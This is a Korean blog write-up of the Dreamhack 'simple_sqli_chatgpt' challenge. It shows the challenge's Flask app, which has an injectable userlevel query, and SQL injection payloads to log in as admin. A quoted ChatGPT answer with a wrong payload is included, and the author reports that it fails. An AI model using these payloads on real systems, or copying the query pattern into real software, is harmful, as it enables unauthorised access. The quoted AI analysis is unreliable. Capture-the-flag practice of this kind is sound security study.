Dreamhack/Dreamhack Wargame (Challenge)

[52] IT 비전공자 [dreamhack]simple_sqli_chatgpt문제 풀기

imaginefuture-1 2024. 10. 31. 08:05

 

sql 반갑고

 

 

 

로그인 페이지가 보인다

 

 

어..일단 국룰 넣어볼까요?

 

헤엥

 

소스코드를 보자

 

#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

 

 

admin으로 로그인을 해야 flag가 보인다

 

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

 

저번 sql문제에서는 admin을 주석 처리했는데 이번에는 안통한다.. 레벨..레벨이다

분명 게스트랑 어드민 둘다 0레벨이다 어떻게 어드민 레벨로 로그인이 가능한건가?

 

레벨 0을 넣으니 게스트가 뜬다..admin도 0인데 ㅠ

 

지피티야 지피티야!

 

 

 

이 코드에는 SQL 인젝션(SQL Injection) 취약점이 있으며, 이를 통해 `admin` 계정의 정보를 조회하여 `FLAG` 값을 얻을 수 있습니다. 코드를 분석해보면, **SQL 인젝션을 통한 공격 가능성**이 다음과 같이 드러납니다.

### 취약점 분석
`/login` 라우트에서 사용자의 입력을 바탕으로 SQL 쿼리가 생성되며, 이 때 `userlevel` 값을 필터링하지 않고 바로 SQL 쿼리에 삽입하고 있습니다. 이로 인해 공격자가 임의의 SQL 코드를 주입할 수 있는 **SQL 인젝션** 취약점이 발생합니다.

코드 상의 쿼리 부분은 다음과 같습니다:
```python
res = query_db(f"select * from users where userlevel='{userlevel}'")
```

사용자가 `userlevel` 값에 SQL 구문을 주입하면, 쿼리 전체가 변경될 수 있습니다. 예를 들어, `userlevel`에 `0' OR '1'='1`을 입력하면 쿼리가 다음과 같이 변형됩니다:
```sql
select * from users where userlevel='0' OR '1'='1'
```

이 쿼리는 항상 참이 되므로 모든 `userlevel` 행이 반환됩니다. 그 중 첫 번째 결과가 `admin` 계정이라면, 플래그가 노출될 수 있습니다.

### 공격 방법
1. **SQL 인젝션 페이로드**: `userlevel`에 다음 값을 삽입합니다.
   ```
   0' OR '1'='1
   ```

2. **실제 요청 예제**:
   - `/login` 페이지에서 `POST` 요청으로 `userlevel`에 위의 페이로드를 입력합니다.

3. **요청 분석**:
   이 페이로드를 통해 다음과 같은 쿼리가 실행됩니다:
   ```sql
   select * from users where userlevel='0' OR '1'='1'
   ```
   이 쿼리는 `userlevel` 값이 `0`이거나 `'1'='1'`인 행을 반환하므로, 모든 사용자를 가져오고, 그 중 첫 번째 사용자 (보통 `admin`)에 대한 정보가 반환될 가능성이 큽니다.

4. **결과 확인**:
   - 요청이 성공하면 `admin`의 정보가 조회되어 `FLAG`가 출력됩니다:
     ```html
     hello admin flag is [FLAG 값]
     ```

이 공격 방법을 통해 SQL 인젝션 취약점을 이용해 플래그를 획득할 수 있습니다.

 

헤에..아니야 아니야


아니라고!!

 

 

 

 

왜 안될까 했는데

 

캬..위에서 아래로 읽기때문이다..

 

그래서 쓰는 거다 where! 

 

https://jwcs.tistory.com/37

 

[드림핵] simple_sqli_chatgpt 풀이

https://dreamhack.io/wargame/challenges/769/?mode=description&writeup_id=9550 simple_sqli_chatgpt 어딘가 이상한 로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습

jwcs.tistory.com

 

sql에서는 where절이나 union select을 이용하면 된다..캬..

 

실질적으로 sql에서 쓰는 문은

select * from users where userlevel'0' AND userid='admin'

이거이며 우리는 여기서 '0' and userid = 'admin'을 입력하는거다.

캬~